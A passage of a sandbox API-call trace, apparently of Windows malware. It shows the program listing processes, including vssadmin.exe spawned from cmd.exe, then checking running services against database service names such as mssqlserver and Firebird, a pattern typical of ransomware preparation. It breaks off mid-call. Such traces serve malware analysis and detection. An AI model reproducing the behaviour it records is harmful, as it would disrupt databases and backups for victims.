th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0174.295] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0174.295] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0174.296] lstrlenW (lpString="Memory Compression") returned 18 [0174.296] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0174.297] lstrlenW (lpString="taskhostw.exe") returned 13 [0174.297] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0174.298] lstrlenW (lpString="msoia.exe") returned 9 [0174.298] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.298] lstrlenW (lpString="explorer.exe") returned 12 [0174.298] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0174.299] lstrlenW (lpString="SearchUI.exe") returned 12 [0174.299] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0174.300] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0174.300] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0174.325] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0174.326] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0174.327] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0174.327] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0174.328] lstrlenW (lpString="wmxsde.exe") returned 10 [0174.328] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.328] lstrlenW (lpString="cmd.exe") returned 7 [0174.329] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.329] lstrlenW (lpString="conhost.exe") returned 11 [0174.329] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0174.330] lstrlenW (lpString="consent.exe") returned 11 [0174.330] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0174.331] lstrlenW (lpString="vssadmin.exe") returned 12 [0174.331] Process32NextW (in: hSnapshot=0x378, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0174.332] CloseHandle (hObject=0x378) returned 1 [0174.332] Sleep (dwMilliseconds=0x1f4) [0175.396] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f330 [0175.396] EnumServicesStatusExW (in: hSCManager=0x459f330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0175.397] GetLastError () returned 0xea [0175.397] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x465ffb0 [0175.398] EnumServicesStatusExW (in: hSCManager=0x459f330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x465ffb0, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x465ffb0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0175.399] CloseServiceHandle (hSCObject=0x459f330) returned 1 [0175.399] lstrlenW (lpString="Appinfo") returned 7 [0175.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.399] lstrlenW (lpString="AppXSvc") returned 7 [0175.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0175.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0175.399] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0175.399] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0175.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0175.399] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.400] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.400] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.400] lstrlenW (lpString="Audiosrv") returned 8 [0175.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0175.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0175.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0175.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0175.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0175.400] lstrlenW (lpString="BFE") returned 3 [0175.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.400] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0175.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.400] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0175.400] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0175.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0175.400] lstrlenW (lpString="CDPSvc") returned 6 [0175.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0175.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0175.400] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0175.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0175.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0175.401] lstrlenW (lpString="ClickToRunSvc") returned 13 [0175.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0175.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0175.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0175.401] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0175.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0175.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0175.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0175.401] lstrlenW (lpString="CryptSvc") returned 8 [0175.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.401] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.401] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.401] lstrlenW (lpString="DcomLaunch") returned 10 [0175.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.401] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.401] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.401] lstrlenW (lpString="DeviceAssociationService") returned 24 [0175.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0175.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0175.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0175.402] lstrlenW (lpString="Dhcp") returned 4 [0175.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.402] lstrlenW (lpString="Dnscache") returned 8 [0175.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.402] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.402] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.402] lstrlenW (lpString="DPS") returned 3 [0175.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.402] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.402] lstrlenW (lpString="DsmSvc") returned 6 [0175.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0175.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0175.402] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0175.403] lstrlenW (lpString="DusmSvc") returned 7 [0175.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0175.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0175.403] lstrlenW (lpString="EventLog") returned 8 [0175.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0175.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0175.403] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0175.403] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0175.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0175.403] lstrlenW (lpString="EventSystem") returned 11 [0175.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.403] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.403] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.403] lstrlenW (lpString="FontCache") returned 9 [0175.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0175.403] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0175.403] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0175.403] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0175.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0175.404] lstrlenW (lpString="gpsvc") returned 5 [0175.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.404] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.404] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.404] lstrlenW (lpString="iphlpsvc") returned 8 [0175.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.404] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.404] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.404] lstrlenW (lpString="KeyIso") returned 6 [0175.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0175.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0175.404] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0175.404] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0175.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0175.404] lstrlenW (lpString="LanmanServer") returned 12 [0175.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.404] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.404] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.404] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.405] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.405] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.405] lstrlenW (lpString="lfsvc") returned 5 [0175.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0175.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0175.405] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0175.405] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0175.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0175.405] lstrlenW (lpString="lmhosts") returned 7 [0175.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.405] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.405] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.405] lstrlenW (lpString="LSM") returned 3 [0175.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0175.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0175.405] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0175.405] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0175.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0175.405] lstrlenW (lpString="MpsSvc") returned 6 [0175.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.405] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.405] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.406] lstrlenW (lpString="NcbService") returned 10 [0175.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0175.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0175.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0175.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0175.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0175.406] lstrlenW (lpString="netprofm") returned 8 [0175.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.406] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.406] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.406] lstrlenW (lpString="NgcSvc") returned 6 [0175.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0175.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0175.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0175.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0175.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0175.406] lstrlenW (lpString="NlaSvc") returned 6 [0175.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.406] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.406] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.406] lstrlenW (lpString="nsi") returned 3 [0175.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.407] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.407] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.407] lstrlenW (lpString="PcaSvc") returned 6 [0175.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.407] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.407] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.407] lstrlenW (lpString="PlugPlay") returned 8 [0175.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.407] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.407] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.407] lstrlenW (lpString="Power") returned 5 [0175.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.407] lstrlenW (lpString="ProfSvc") returned 7 [0175.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.407] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.407] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.408] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.408] lstrlenW (lpString="RpcSs") returned 5 [0175.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.408] lstrlenW (lpString="SamSs") returned 5 [0175.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.408] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.408] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.408] lstrlenW (lpString="Schedule") returned 8 [0175.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.408] lstrcmpiW (lpString1="sqlserveradhelper", 